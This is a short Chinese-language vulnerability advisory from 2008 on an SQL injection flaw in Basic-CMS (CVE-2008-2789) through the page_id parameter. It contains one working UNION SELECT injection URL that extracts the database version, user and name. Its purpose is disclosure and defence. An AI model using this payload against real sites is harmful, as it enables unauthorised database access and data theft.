发布日期：2008-06-17
更新日期：2008-06-17

受影响系统：

Basic-CMS Basic-CMS

描述：

---

BUGTRAQ  ID: 29771
CVE(CAN) ID: CVE-2008-2789

Basic-CMS是基本的网页内容管理系统。

Basic-CMS在实现上存在sql注入漏洞，远程攻击者通过page_id参数，利用此漏洞可执行任意sql命令。

<*来源：Mr.SQL
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/pages/index.php?r=&amp;amp;page_id=-74+union+select+1,1,1,convert(concat_ws(0x2F2A2A2F,version(),current_user,database())+using+latin1),1,1--

建议：

---

厂商补丁：

Basic-CMS
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.simplecms.com/

浏览次数：2312
严重程度：0（网友投票）